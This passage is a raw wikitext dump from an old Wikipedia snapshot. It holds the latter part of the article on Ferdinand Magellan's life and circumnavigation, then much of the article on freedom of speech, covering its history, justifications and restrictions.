  image_caption = [[Portuguese people|Portuguese]] [[List of maritime explorers|maritime explorer]] |
  date_of_birth = Spring [[1480]] |
  place_of_birth = [[Sabrosa]], [[Portugal]] |
  date_of_death = [[April 27]], [[1521]] |
  place_of_death = [[Mactan Island]], [[Cebu]], [[Philippines]]}}
'''Ferdinand Magellan''' ([[Portuguese language|Portuguese]]: ''Fernão de Magalhães'', [[International Phonetic Alphabet|IPA pronunciation]]: /{{IPA|fɨɾ.'nɐ̃w̃ dɨ mɐ.ɣɐ.'ʎɐ̃j̃ʃ}}/; [[Spanish language|Spanish]]: ''Fernando'' or ''Hernando de Magallanes''; Spring [[1480]]&amp;ndash;[[April 27]], [[1521]]) was a [[Portuguese people|Portuguese]] [[List of maritime explorers|maritime explorer]] who led the first successful attempt to [[Circumnavigation|circumnavigate]] the Earth. Magellan himself did not complete his final voyage; he was killed during the [[Battle of Mactan]] in the [[Philippines]]. He did, however, die further west than the [[Spice Islands]], which he had visited on earlier voyages, making him one of the first individuals to cross all the [[Longitude|longitudes]] of the globe. He became the first person to lead an expedition sailing westward from [[Europe]] to [[Asia]] and to cross the [[Pacific Ocean]].

Of the 250 or so crew members who set out with Magellan to circumnavigate the globe, only 18 managed to return to Spain and thereby complete the circumnavigation. They were led by Spaniard [[Juan Sebastián Elcano]], who took over command of the expedition after Magellan's death.

==Early life==
Magellan was born in [[Sabrosa]], near [[Vila Real]] in the province of [[Trás-os-Montes]], [[Portugal]]. He was the son of Alda de Mesquita and Pedro Rui de Magalhães, the mayor of the town. He had two siblings, an elder brother Diogo de Sousa (named after his grandmother) and a sister Isabel.

Magellan's parents died when he was ten. At 12, he followed his brother to become a page at the [[Noble court|court]] of [[John II of Portugal]] and Queen Eleonora in [[Lisbon]]. Here, alongside his cousin Francisco Serrano, Magellan continued his education and became interested in geography and astronomy. He may have been taught by [[Martin Behaim]]. In 1496, at age 16, Magellan became a [[squire]].

==First voyages==
Magellan's first voyage to sea came at age 25 in 1505 when he was sent to [[India]] to install [[Francisco de Almeida]] as the Portuguese [[viceroy]]. The voyage gave Magellan his first experience of battle, when a local king, who had paid tribute to da Gama three years earlier, refused to pay tribute to Almeida. Almedia's party attacked and conquered the capital of [[Kilwa]] in present-day [[Tanzania]].

In 1506, Magellan travelled to the [[East Indies]] and joined expeditions to the Spice Islands. In February [[1509]], he took part in the naval [[Battle of Diu]]&amp;ndash;which marked the decline of [[Ottoman Empire|Ottoman]] influence in the area &amp;ndash; and in 1510 he was made a [[captain]]. Within a year, however, he had lost his commission after sailing a ship eastward without permission. He was forced to return to Portugal.

In 1511, Magellan was sent to [[Morocco]], where he fought in the [[Battle of Azamor]] and received a severe knee wound. After taking leave without permission, he fell out of favor with Almeida, and was also accused of trading illegally with the [[Moors]]. Several of the accusations were subsequently dropped, but Magellan fell into disfavor at the court of the new king, [[Manuel I of Portugal|Manuel I]]. He refused to increase Magellan's pension and told him that there would be no further offers of employment after [[May 15]], [[1514]]. Magellan therefore decided to offer his services to the court of [[Spain]].

==Move to Spain==
Magellan arrived in [[Seville]], Spain's major port, on[October 20, 1517. From there he traveled to [[Valladolid]] to see the teenage Spanish king, [[Charles V, Holy Roman Emperor|Charles I]] (later Charles V, [[Holy Roman Emperor]]). With the endorsement of friends such as [[Diogo Barbosa]] (the Portuguese father of [[Duarte Barbosa]]) and Juan de Aranda, one of the three chief officials of Seville's [[Casa de Contratación|India House]], Magellan became a naturalized Spaniard. He soon acquired great influence, gaining the ear of Charles I and [[Juan Rodriguez de Fonseca]], bishop of [[Burgos]] and enemy of [[Christopher Columbus]].

Having revealed the Portuguese cartographical knowledge to the Spanish court, Magellan pointed out that there would exist some passage (that he thought would be the [[Río de la Plata]]) from [[South America]] to the Pacific Ocean, forming a large bay-like [[river delta]]. He decided to pioneer this route and reach the [[Maluku Islands|Moluccas]] (Spice Islands), the key to the strategic and tremendously lucrative spice trade. He allegedly declared himself ready to sail southward as far as 75° to realize his project.

Ruy Faleiro, an [[astronomer]] and Portuguese [[exile]], aided him in his planning, and he found an invaluable financial ally in Christopher de Haro, a member of a great [[Antwerp (province)|Antwerp]] firm who held a grudge against the king of Portugal. On March 22, 1518, Charles approved Magellan's plan and granted him generous funds. Under the contract, Magellan and Faleiro, as joint [[captain]]s-general, would receive one-twentieth of all profits, and they and their heirs would also gain the government of any lands discovered, with the title of ''[[Adelantado]]s''. Magellan also took an oath of allegiance in the church of Santa María de la Victoria de Triana, giving money to the monks of the monastery so they would pray for his success.

With the money that Magellan and Faleiro had received from the king, the pair obtained five ships: ''Trinidad'' (tonnage 110, crew 55), ''San Antonio'' (tonnage 120, crew 60), ''Concepción'' (tonnage 90, crew 45), [[Victoria (ship)|''Victoria'']] (tonnage 85, crew 42), and ''Santiago'' (tonnage 75, crew 32). The ''Trinidad'' was Magellan's [[flagship]], and besides Faleiro, the captains for the other four were Juan de Cartegena, Gomez, Gaspar de Quesada and Luis de Mendoza, respectively.

==The journey==
[[Image:AndalusAndMorocco.jpg|100px|thumb|left|The arrow points to the city of [[Sanlúcar de Barrameda]] on the delta of the [[Guadalquivir River]], in [[Andalusia]]]] 
 
On August 10, 1519, five ships under Magellan's command left Seville and traveled from the [[Guadalquivir|Guadalquivir River]] to San Lucar de Barrameda at the mouth of the rivers, where they remained more than five weeks. Spanish authorities were wary of the Portuguese [[admiral]] and almost prevented Magellan from sailing, but on September 20, Magellan set sail from Sanlúcar de Barrameda with about 270 men.

===The voyage===
King Manuel ordered a naval detachment to pursue Ferdinand Magellan, but Magellan avoided the Portuguese. After stopping at the [[Canary Islands]], Ferdinand Magellan arrived at the [[Cape Verde]] Islands, where they set course for Cape St. Augustine in [[Brazil]]. On November 20, they crossed the [[equator]]; on December 6, the crew sighted Brazil.

Since Brazil was Portuguese territory, Magellan avoided it, and on December 13 anchored near present-day [[Rio de Janeiro]]. There the crew was resupplied, but these good conditions caused them to delay. Afterwards, they continued to sail south along [[South America]]'s east coast, looking for the strait that Magellan believed would lead to the Spice Islands. The fleet reached Río de la Plata on January 10, 1520.

On March 31, the crew established a settlement that they called Puerto San Julian. A mutiny involving two of the five ship captains broke out. It was unsuccessful because the crew remained loyal. Quesada was executed; Cartagena and a [[priest]] were [[Marooning|marooned]] on the coast. 

[[Image:Strait of Magellan.jpeg|thumb|right|The Straits of Magellan cut through the southern tip of [[South America]] connecting the [[Atlantic Ocean|Atlantic]] and [[Pacific Ocean|Pacific]]]]
The journey resumed. ''Santiago'', sent down the coast on a scouting expedition, was wrecked in a sudden storm. All of its crewmembers survived and made it safely to shore. Two of them returned, overland, to inform Magellan of what had happened, and bring rescue to their comrades.  After this experience, Magellan decided to wait for a few weeks more before again resuming the voyage.

At 52°S latitude on August 24, 1520, the fleet reached [[Cape Virgenes]] and concluded they had found the passage, because the waters were [[brine]] and deep inland. Four ships began an arduous passage through the 373-mile long passage that Magellan called the ''Estreito (Canal) de Todos los Santos'', 

(&quot;All Saints' Channel&quot;), because the fleet traveled through it on November 1&amp;ndash;[[All Saints' Day]]. The strait is now named the [[Strait of Magellan]]. Magellan first assigned ''Concepcion'' and ''San Antonio'' to explore the strait, but the latter, commanded by Gomez, deserted and returned to Spain. On November 28, the three remaining ships entered the [[Oceania|South Pacific]]. Magellan named the waters the ''Mar Pacifico'' ([[Pacific Ocean]]) because of its apparent stillness.

====Death of Magellan====
Heading northwest, the crew reached the equator on February 13, 1521. On March 6, they reached the [[Marianas]] and on March 16, the island of Homonhon in the [[Philippines]], with 150 crewmen left. Magellan was able to communicate with the native peoples because his [[Malay people|Malay]] interpreter could understand their language. They traded gifts with Rajah Kolambu of [[Limasawa Island|Limasawa]], who guided them to [[Cebu]], on April 7. Rajah Humabon of Cebu was friendly to them, and even agreed to accept Christianity.

The initial peace with the Philippine natives proved misleading. Magellan was killed in the [[Battle of Mactan]] against indigenous forces led by [[Lapu-Lapu]] on April 27, 1521. [[Antonio Pigafetta]], a wealthy tourist who paid to be on the Magellan voyage, provided the only extant eyewitness account of the events culminating in Magellan's death, as follows:

[[Image:MagellanMonument.JPG|thumb|200px|right|Monument in [[Lapu-Lapu City]] that marks the site where Magellan was purportedly killed]]
:''&quot;When morning came, forty-nine of us leaped into the water up to our thighs, and walked through water for more than two cross-bow flights before we could reach the shore. The boats could not approach nearer because of certain rocks in the water. The other eleven men remained behind to guard the boats. When we reached land, [the natives] had formed in three divisions to the number of more than one thousand five hundred persons. When they saw us, they charged down upon us with exceeding loud cries... The musketeers and crossbow-men shot from a distance for about a half-hour, but uselessly... Recognizing the captain, so many turned upon him that they knocked his helmet off his head twice... An Indian hurled a bamboo spear into the captain's face, but the latter immediately killed him with his lance, which he left in the Indian's body. Then, trying to lay hand on sword, he could draw it out but halfway, because he had been wounded in the arm with a bamboo spear. When the natives saw that, they all hurled themselves upon him. One of them wounded him on the left leg with a large cutlass, which resembles a scimitar, only being larger. That caused the captain to fall face downward, when immediately they rushed upon him with iron and bamboo spears and with their cutlasses, until they killed our mirror, our light, our comfort, and our true guide. When they wounded him, he turned back many times to see whether we were all in the boats. Thereupon, beholding him dead, we, wounded, retreated, as best we could, to the boats, which were already pulling off.&quot;''

===The circumnavigation===
[[Image:Magellan-Map-En.png|450px|thumb|One of Magellan's ships circumnavigated the globe, finishing 16 months after the explorer's death.]]

Magellan had provided in his will that his Malay interpreter was to be freed upon his death. His interpreter, who was baptized as [[Henry the Black|Enrique]] ([[Henry the Black]]) in Malacca in 1511, had been captured by [[Sumatra]]n slavers from his home islands. Thus Enrique became the first man to circumnavigate the globe (in multiple voyages). Enrique was [[indentured servitude|indentured]] by Magellan during his earlier voyages to Malacca, and was at his side during the battles in Africa, during Magellan's disgrace at the King's court in Portugal, and during Magellan's successful raising of a fleet. However, after Mactan, the remaining ship's masters refused to free Enrique. Enrique escaped his indenture on May 1, with the aid of Rajah Humabon, amid the deaths of almost 30 crewmen. However, Antonio Pigafetta had been making notes about the language, and was apparently able to continue communications during the rest of the voyage.

[[Image:Magellan'sVoyage.jpg|thumb|right|300px|[[Magellan]]'s voyage to the Spice Islands led to Limasawa, [[Cebu]], [[Mactan]], [[Palawan]], [[Brunei]], [[Celebes]] and finally to the [[Spice Islands]] (Zoom in for detail here: {{coor dm|0|47|N|127|22|E|}})]]
The casualties suffered in the Philippines left the expedition with too few men to sail the three remaining ships. Accordingly, on May 2, 1521, they abandoned ''Concepción'', burning the ship to make sure it could not be used against them. The fleet, now reduced to ''Trinidad'' and ''Victoria'', fled westward to [[Palawan]]. They left that island on [[June 21]], [[1521]], and were guided to [[Brunei]], [[Borneo]] by Moro pilots, who could navigate the shallow seas. They anchored off the Brunei breakwater for 35 days, where the Venetian Pigafetta mentions the splendor of Rajah Siripada's court ([[gold]], two [[pearl]]s the size of hens' eggs, etc.). In addition, Brunei boasted tame [[elephant]]s and armament of 62 cannon, more than 5 times the armament of Magellan's ships. Brunei disdained the [[clove]]s which were to prove more valuable than gold, upon the return to Spain. Pigafetta mentions some of the technology of the court, such as [[porcelain]] (which was not yet widely available in Europe), and [[Glasses|spectacles]] (eyeglasses were only just becoming available in Europe).

After reaching the Maluku Islands (the Spice Islands]]) [[November 6]] [[1521]], 115 crew were left. They managed to trade with the Sultan of [[Tidore]], a rival of the Sultan of [[Ternate]], who was the ally of the Portuguese.

The two remaining ships, laden with valuable spices, attempted to return to Spain by sailing west. As they left the Moluccas, however, ''Trinidad'' was found to be taking on water. The crew tried to discover and repair the leak, but failed. They concluded that ''Trinidad'' would need to spend considerable time being overhauled. The small ''Victoria'' was not large enough to accommodate all the surviving crewmembers. As a result, ''Victoria'' with some of the crew sailed west for Spain. Several weeks later, ''Trinidad'' left the Moluccas to attempt to return to Spain via the Pacific route. This attempt failed; the ship was captured by the Portuguese, and was eventually wrecked in a storm while at anchor under Portuguese control.

The ''Victoria'' set sail via the [[Indian Ocean]] route home on [[December 21]] [[1521]]. By [[May 6]], [[1522]], the ''Victoria'', commanded by [[Juan Sebastián Elcano]], rounded the Cape of Good Hope, with only rice for rations. Twenty crewmen died of starvation before Elcano put in to the Cape Verde Islands, a Portuguese holding, where he abandoned 13 more crewmen on [[July 9]] in fear of losing his cargo of 26 [[ton]]s of spices ([[clove]]s and [[cinnamon]]).

=== The return===
On [[September 6]], [[1522]], Juan Sebastián Elcano and the remaining crew of Magellan's voyage and the last ship of the fleet, ''[[Victoria (ship)|Victoria]]'', arrived in Spain, almost exactly three years after leaving. The expedition actually eked out a small profit, but the crew were not paid their full wages.

{| class=&quot;wikitable&quot; style=&quot;float:right; margin:1em 0 1em 1em&quot;
|+ 18 men returned to Seville with ''Victoria'' in 1522
|-
! Name !! Rating
|-
| [[Juan Sebastian Elcano]], from [[Getaria]] || Master
|-
| Francisco Albo, from [[Axio]] || Pilot
|-
| Miguel de [[Rhodes|Rodas]] || Pilot
|-
| Juan de Acurio&lt;!-- Acuario? --&gt;, from [[Bermeo]] || Pilot
|-
| [[Antonio Pigafetta|Antonio Lombardo (Pigafetta)]], from [[Vicenza]] || Supernumerary
|-
| [[Martín de Judicibus]], from [[Genoa]] || Chief Steward
|-
| Hernándo de Bustamante, from [[Alcántara]]&lt;!-- Mérida? --&gt; || Mariner
|-
| Nicholas the Greek, from [[Naples]] || Mariner
|-
| Miguel Sánchez, from [[Rhodes]] || Mariner
|-
| Antonio Hernández Colmenero, from [[Huelva]] || Mariner
|-
| Francisco Rodrigues, [[Portugal|Portuguese]] from [[Seville]] || Mariner
|-
| Juan Rodríguez, from [[Huelva]] || Mariner
|-
| Diego Carmena&lt;!-- Gallego, from Bayona? --&gt; || Mariner
|-
| Hans of [[Aachen]] || Gunner
|-
| Juan de [[Arratia]], from [[Bilbao]] || Able Seaman
|-
| Vasco Gomez Gallego ''the Portuguese'', from [[Bayona]] || Able Seaman
|-
| Juan de Santandrés, from [[Cueto]] || Apprentice Seaman
|-
| Juan de Zubileta, from [[Barakaldo]] || Page
|}

Four crewmen of the original 55 on the ''Trinidad'' finally returned to Spain in 1525.

===The discoveries===
Magellan's expedition was the first to circumnavigate the globe and the first to navigate the strait in South America connecting the Atlantic and Pacific oceans. The men among Magellan's expedition were also the first Europeans to observe the following:

*A &quot;[[camel]] without humps&quot; &amp;mdash; which could have been the [[llama]], [[guanaco]], [[vicuña]], or [[alpaca]].
*A black &quot;[[goose]]&quot; which had to be skinned instead of plucked &amp;mdash; the [[penguin]].
*Two of our closest [[galaxy|galaxies]], the [[Magellanic Clouds]], visible from the [[Southern Hemisphere]].
*The extent of the [[Earth]] &amp;mdash; their voyage was &quot;14,460 leagues&quot; (69,800 [[kilometre|km]]&amp;nbsp;or&amp;nbsp;43,400&amp;nbsp; [[mile|mi]]).
*The need for an [[International date line]] &amp;mdash; That going round the earth westward was winning one day: upon their return they observed a mismatch of one day between their calendars and those who did not travel, even though they faithfully maintained their ship's log.  They did not have clocks accurate enough to observe the variation in the length of the day during the journey.

==References==
*Laurence Bergreen, ''Over the Edge of the World: Magellan's Terrifying Circumnavigation of the Globe'', HarperCollins Publishers, 2003, hardcover 480 pages, ISBN 0066211735

==Further reading==
For students

* W.D.Brownlee, ''The First Ships around the World'', (1977) Lerner Publications Co., Minneapolis ISBN 0-8225-1204-1
* Richard Humble, ''The Voyage of Magellan'', (1988) Franklin Watts, ISBN 0-531-10638-1

==See also==
*[[Military History of the Philippines]]
*[[History of the Philippines]]
*[[Portuguese Empire]]
*[[Spanish Empire]]
*[[Age of Exploration]]
*[[Henry the Black]]

==External links==
*[http://www.historyhouse.com/in_history/magellan/ Magellan's untimely demise on Cebu in the Phillipines] from History House.
*Lists of crew members:
**[http://www.armada15001900.net/tripulantesmagallanes.htm 107 people]
**[http://olivetreegenealogy.com/ships/magship_vict.shtml The 18 arriving on ''Victoria'']
*[http://cvc.cervantes.es/actcult/museo_naval/sala8/personajes/personaje_13.htm A picture of the 1522 disembarkment with names of the 18]

&lt;!-- Metadata (see [[Wikipedia:Persondata]]) --&gt;
{{Persondata
|NAME=Magellan, Ferdinand
|ALTERNATIVE NAMES=Magalhães, Fernão de (Portuguese); Magallanes, Fernando de (Spanish)
|SHORT DESCRIPTION=Sea explorer
|DATE OF BIRTH=Spring [[1480]]
|PLACE OF BIRTH=[[Sabrosa]], [[Portugal]]
|DATE OF DEATH=[[April 27]], [[1521]]
|PLACE OF DEATH=[[Mactan Island]], [[Cebu]], [[Philippines]]
}}

[[Category:1480 births|Magellan, Ferdinand]]
[[Category:1521 deaths|Magellan, Ferdinand]]
[[Category:Portuguese explorers|Magellan, Ferdinand]]
[[Category:History of the Philippines|Magellan, Ferdinand]]
[[Category:Explorers of the Pacific|Magellan, Ferdinand]]
[[Category:Age of Discovery|Magellan, Ferdinand]]

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[[eo:Fernão de MAGALHÃES]]
[[eu:Fernão de Magalhães]]
[[fa:فردیناند ماژلان]]
[[fr:Fernand de Magellan]]
[[fy:Ferdinand Magellaan]]
[[gl:Fernán de Magalláns]]
[[ko:페르디난드 마젤란]]
[[hr:Ferdinand Magellan]]
[[io:Fernão de Magalhães]]
[[id:Ferdinand Magellan]]
[[is:Ferdinand Magellan]]
[[it:Ferdinando Magellano]]
[[he:פרדיננד מגלן]]
[[jv:Ferdinand Magellan]]
[[la:Ferdinandus Magellanus]]
[[lt:Ferdinandas Magelanas]]
[[mk:Фердинанд Магелан]]
[[ms:Ferdinand Magellan]]
[[nl:Ferdinand Magellaan]]
[[ja:フェルディナンド・マゼラン]]
[[no:Ferdinand Magellan]]
[[nn:Fernão de Magalhães]]
[[pl:Ferdynand Magellan]]
[[pt:Fernão de Magalhães]]
[[ro:Ferdinand Magellan]]
[[ru:Магеллан, Фернан]]
[[sco:Ferdinand Magellan]]
[[simple:Ferdinand Magellan]]
[[sk:Fernão de Magalhães]]
[[sl:Ferdinand Magellan]]
[[sr:Фердинанд Магелан]]
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[[uk:Маґеллан Фердинанд]]
[[zh:斐迪南·麥哲倫]]</text>
    </revision>
  </page>
  <page>
    <title>Freedom of speech</title>
    <id>11765</id>
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      <timestamp>2006-03-03T21:27:12Z</timestamp>
      <contributor>
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      <minor />
      <comment>Reverting testing, patent nonsense and/or vandalism to revision ID 42090256 using [[WP:POPUP|popups]]</comment>
      <text xml:space="preserve">{{Globalize}}
{{dablink|This article is about freedom of speech as a general concept. For freedom of speech in specific jurisdictions see [[Freedom of speech (international)]].}}
[[Image:GroenLinks demonstration 20041002 CopyrightKaihsuTai.JPG|thumb|right|250px|A public [[demonstration]]]]
'''Freedom of speech''' is often regarded as an integral concept in modern [[liberal democracy|liberal democracies]], where it is understood to outlaw [[censorship]]. The right to freedom of speech is guaranteed under international law through numerous human rights instruments, notably under Article 19 of the [[Universal Declaration of Human Rights]] and Article 10 of the [[European Convention on Human Rights]], although implementation remains lacking in many countries. The synonymous term '''freedom of expression''' is sometimes preferred, since the right is not confined to verbal speech but is understood to protect any act of seeking, receiving and imparting information or ideas, regardless of the medium used.

The right to freedom of expression is not absolute; governments may still prohibit certain damaging types of expressions. Under international law, restrictions on free speech are required to comport with a strict three part test: they must be provided by law, pursue an aim recognized as legitimate, and be necessary (i.e., proportionate) for the accomplishment of that aim. Amongst the aims considered legitimate are protection of the rights and reputations of others (prevention of [[slander and libel|defamation]]), and the protection of [[national security]] and public order, health and morals. It is generally recognised that restrictions should be the exception and free expression the rule; nevertheless, compliance with this principle is often lacking.

== History==
The modern legistlation concerning freedom of speech and public access to information was first instituted in the Realm of Sweden in 1766. This is mainly thanks to the efforts of the Finnish philosopher and classical liberal [[Anders Chydenius]] (1729&amp;ndash;1803). He was a [[classical liberal]], who argued for free trade and freedom of information to ensure the correct [[feedback]] to legistlative processes and decisions of resource allocation:
:''No evidence should be needed that a certain freedom of writing and printing is one of the strongest bulwarks of a free organisation of the state, as without it, the [[Riksdag of the Estates|estates]] would not have sufficient information for the drafting of good laws, and those dispensing justice would not be monitored, nor would the subjects know the requirements of the law, the limits of the rights of government, and their own responsibilities. Education and good conduct would be crushed; coarseness in thought, speech, and manners would prevail, and dimness would darken the entire sky of our freedom in a few years.'' &amp;mdash; Chydenius' memo concerning the law for freedom of information

The philosopher [[Alexis de Tocqueville]] (1805&amp;ndash;1859) observed that people may be hesitant to speak freely not because of fear of government retribution but because of social pressures. When an individual announces an unpopular opinion, he or she may face the disdain of their community or even be subjected to violent reactions. While this type of suppression of speech is even more difficult to prevent than government suppression, there are questions about whether it truly falls within the ambit of freedom of speech, which is typically regarded as a [[civil liberty]], or freedom from government action.

== Theories of free speech ==
===Overview===
It is important to understand the various theoretical rationales for freedom of speech if we are to form views about the concept's true nature and its rational limits. In part, the justification for free speech is a general [[liberal]] or [[libertarian]] presumption against coercing individuals from living how they please and doing what they want. However, a number of more specific justifications are commonly proposed for freedom of speech.

For example, [[Beverley McLachlin|Justice McLachlan]] of the [[Supreme Court of Canada|Canadian Supreme Court]] identified the following in ''[[R v. Keegstra]]'', a 1990 case on hate speech: (1) free speech promotes &quot;the free flow of ideas essential to political democracy and democratic institutions&quot; and limits the ability of the state to subvert other rights and freedoms; (2) it promotes a marketplace of ideas, which includes, but is not limited to, the search for truth; (3) it is intrinsically valuable as part of the [[self-actualisation]] of speakers and listeners; and (4) it is justified by the dangers for good government of allowing its suppression.

Such reasons perhaps overlap. Together, they provide a widely accepted rationale for the recognition of freedom of speech as a basic political or civil liberty.
 
Each of these justifications can be elaborated in a variety of ways and some may need to be qualified. The first and fourth can be bracketed together as democratic justifications, or a justification relating to self-governance. They relate to aspects of free speech's political role in a democratic society. The second is related to the discovery of truth. The third relates most closely to general libertarian values but stresses the particular importance of  language, symbolism and representation for our lives and [[self-governance|autonomy]]. 
  
This analysis suggests a number of conclusions. First, there are powerful overlapping arguments for free speech as a basic political principle in any liberal democracy. Second, however, free speech is not a simple and absolute concept but a liberty that is justified by even deeper values. Third, the values implicit in the various justifications for free speech may not apply equally strongly to all kinds of speech in all circumstances.

===Self-governance===
Freedom of speech is crucial in any democracy, because open discussions of candidates are essential for voters to make informed decisions during elections. It is through speech that people can influence their government's choice of policies. Also, public officials are held accountable through criticisms that can pave the way for their replacement. The [[United States|US]] Supreme Court has spoken of the ability to criticize government and government officials as &quot;the central meaning of the First Amendment.&quot; ''[[New York Times v. Sullivan]]''. But &quot;guarantees for speech and press are not the preserve of political expression or comment upon public affairs, essential as those are to healthy government.&quot; ''[[Time, Inc. v. Hill]]''

Some suggest that when citizens refrain from voicing their discontent because they fear retribution, the government can no longer be responsive to them, thus it is less accountable for its actions.  Defenders of free speech often allege that this is the main reason why governments suppress free speech--to avoid accountability.

However, it may be argued that ''some'' restrictions on freedom of speech may be compatible with democracy or even necessary to protect it. For example, such arguments are used to justify restrictions on the support of [[Nazi]] ideas in post-war [[Germany]].

=== Discovering truth===
A classic argument for protecting freedom of speech as a fundamental right is that it is essential for the discovery of truth. This argument is particularly associated with the British philosopher [[John Stuart Mill]]. Justice [[Oliver Wendell Holmes, Jr.|Oliver Wendell Holmes]] wrote that &quot;the best test of truth is the power of the thought to get itself accepted in the competition of the market, and that truth is the only ground upon which their wishes safely can be carried out.&quot; In ''[[Abrams v. United States]]'' Justice Holmes also invoked the powerful metaphor of the &quot;[[marketplace of ideas]].&quot; 

This marketplace of ideas rationale for freedom of speech has been criticized by scholars on the grounds that it is wrong to assume all ideas will enter the marketplace of ideas, and even if they do, some ideas may drown out others merely because they enjoy dissemination through superior resources.

The marketplace is also criticized for its assumption that truth will necessarily triumph over falsehood. It is visible throughout history that people may be swayed by emotion rather than reason, and even if truth ultimately prevails, enormous harm can occur in the interim. However, even if these weaknesses of the marketplace of ideas are acknowledged, supporters argue that the alternative of government determination of truth and censorship of falsehoods is worse.

Alan Haworth in his book ''Free Speech'' (1998), has suggested that the metaphor of a marketplace of ideas is misleading. He argues that Mill's classic defence of free speech, in ''[[On Liberty]]'', does not develop the idea of a market (as later suggested by Holmes) but essentially argues for the freedom to develop and discuss ideas in the search for truth or understanding. In developing this argument, Haworth says, Mill pictured society, not as a marketplace of ideas, but as something more like a large-scale academic seminar. This implies the need for tacit standards of conduct and interaction, including some degree of mutual respect. That may well limit the kinds of speech that are justifiably protected.

Another way of putting this point is to concede Mill's claim that freedom of speech of certain kinds is needed for rational inquiry. This can support the claimed need to protect potentially unpopular ideas. However, it can then be added that this does not necessarily lead to the conclusion that a wide range of speech, including offensive or insulting speech, must be given the same protection.

As put by Mill, the argument can also be seen as somewhat elitist, since it may seem that relatively little speech or expression appeals primarily to the intellect. However, there are senses in which this justification can be extended beyond the speech of individuals who are involved in narrowly intellectual inquiry, such as scientists and academic scholars. In one sense, it merges with justifications based on autonomy, if it is interpreted as relating to the psychological need felt by individuals to pursue truth and understanding. In another sense, it may be extended to the protection of literature and art that has a claim to some kind of social value.

===  Advancing autonomy ===
Another rationale is that freedom of speech is an essential aspect of personhood and autonomy. It has been said, for example, that political protest is a form of self-definition, self-fulfillment, or self-realization, even if the protestor believes the protest to be futile. This idea also suggests a rationale for the protection of acts of expression that are not obviously political or vital to self-government, such as abstract art, music, or dance.

Protecting speech because it aids the political process or furthers the search for truth emphasizes the instrumental values of expression. Justice Thurgood Marshall wrote that &quot;the First Amendment serves not only the needs of the polity but also those of the human spirit &amp;mdash; a spirit that demands self-expression.&quot; (''[[Procunier v. Martinez]]'', 416 U.S. 396, 1974). This view is sometimes developed further by referring to the importance for individuals of communicating deeply held beliefs and the value of creativity as expressed in literature, art and many other ways. The issue here is how we should treat other individuals as moral and psychological beings who have a need for self-expression and self-fulfilment.

Critics of this view argue that there is no inherent reason to find speech to be a fundamental right compared with countless other activities that might be regarded as a part of autonomy or that could advance self-fulfillment.

=== Promoting tolerance===
Still another explanation is that freedom of speech is integral to tolerance, which some people feel should be a basic value in society. Professor [[Lee Bollinger]] is an advocate of this view and argues that &quot;the free speech principle involves a special act of carving out one area of social interaction for extraordinary self-restraint, the purpose of which is to develop and demonstrate a social capacity to control feelings evoked by a host of social encounters.&quot; The free speech principle is left with the concern of nothing less than helping to shape &quot;the intellectual character of the society&quot;. 

This claim is to say that tolerance is a desirable, if not essential, value, and that protecting unpopular speech is itself an act of tolerance. Such tolerance serves as a model that encourages more tolerance throughout society. Critics argue that society need not be tolerant of the intolerance of others, such as those who advocate great harm, even genocide. Preventing such harms is claimed to be much more important than being tolerant of those who argue for them.

==Restrictions on free speech==
Various governing, controlling, or otherwise powerful bodies, in many places around the world have attempted to change the opinion of the public or others by taking action that allegedly disadvantages one side of the argument. This attempt to assert some form of control through control of [[discourse]] has a long history and has been theorized extensively by philosophers like [[Michel Foucault]]. Many consider these attempts at controlling debate to be attacks on free speech, even if no direct government censorship of ideas is involved. Alleged examples include the following:

*Some consider the deportation of a foreign [[peace activist]] [[Scott Parkin]] from Australia in September 2005 to have been an attack on free speech, claimed by the federal government to be a risk to national security.
*In [[Finland]], a new [[copyright]] law was enacted in October 2005, which prohibited [[communication]] about certain encoding methods and bypassing them{{fact}}.
*[[Gunns Limited]], a Timber and [[woodchip]] product company in Australia ([http://www.gunns.com.au/ Gunns Website]) is suing 17 individual activists, including Federal [[Australian Greens|Greens]] Senator [[Bob Brown]], as well as three [[not-for-profit]] environmental groups, for over 7.8 million dollars. Gunns claims that the defendants have sullied their reputation and caused them to lose profits, the defendants claim that they are simply protecting the environment. The defendants have become collectively known as the [[Gunns 20]] ([http://www.gunns20.org/ Friends of the Gunns 20]). Although this example involves a private law suit, not government censorship, some claim that it is an abuse of defamation law, since it ties up the environmental activists in court proceedings, during which time Gunns may build a [[Pulp Mill]] in northern [[Tasmania]]. According to this view, the plaintiffs are not genuinely seeking to vindicate their reputations and they are seeking to scare off other activists with the prospect of ruinous legal expense. Such cases raise interesting questions about the extent to which powerful corporate interests should have access to defamation law.
*In the [[UK]] Parliament passed the [[Serious Organised Crime and Police Act 2005|Serious Organised Crime and Police Act]] in [[2005]] banning protest without permit within 1km of Parliament. The first conviction under the Act was in December 2005, when [[Maya Evans]] was convicted for reading the names of British soldiers and Iraqi civilians killed in the [[Iraq War]], under the [[Cenotaph]] in October, without police permission. [http://news.bbc.co.uk/1/hi/england/london/4507446.stm]
* In Italy the media [[Tycoon]] [[Silvio Berlusconi]] used [[censorship]] by  stopping the [[Satire |satirical]] [[Raiot]] series, from [[Sabina Guzzanti]] on RAI television, by arguing that they were vulgar and full of disrespect to the government. (He claimed to sue the RAI for 21.000.000 Euro if the show would go on). The RAI stopped the show. Sabina Guzzanti went to court to proceed with the show and won the case. However the government and the RAI refused to follow the courtorder and the show never went on air again.
* In some European countries, [[holocaust denial]] is a criminal offence.  A prominent proponent of this view, [[David Irving]], was sentenced for 3 years in Austria for denying the holocaust in February, 2006.
* Some countries still have outdated censorship law that are rarely used.  British law technically still prohibits blasphemy, displays of erect penises and promotion of suicide.

==The Internet==
The development of the [[Internet]] opened new possibilities for achieving freedom of speech using methods that do not depend on legal measures. [[Pseudonymity]] and [[data haven]]s (such as [[Freenet]]) allow free speech, as the technology guarantees that material cannot be removed (censored).

Websites which fall foul of government censors in other countries are often re-hosted on a server in a country with no such restrictions. Given that the United States has in many respects the least restrictive governmental policies in the world on freedom of speech, many of these websites re-host their content on an American server and thus escape censorship while remaining available to their target audience. This is especially the case with [[neo-nazi]] and other sites promoting racial hatred, since these are prohibited in a number of [[European]] countries. It should be mentioned, however, that the US Government has attempted to regulate certain acts and speech on the Internet (''[[US v. Baker]]''). The [[Electronic Frontier Foundation]] (EFF) is an organization dedicated to protecting freedom of speech on the Internet.

The [[People's Republic of China|Chinese]] government has developed some of the most sophisticated forms of internet censorship in order to control or eliminate access to information on sensitive topics such as the [[Tiananmen Square protests of 1989]], [[Falun Gong]], [[Tibet]], [[Taiwan]], [[pornography]] or [[democracy]]. They have also enlisted the help of some American companies like [[MSN]], who have subsequently been criticized by proponents of freedom of speech.
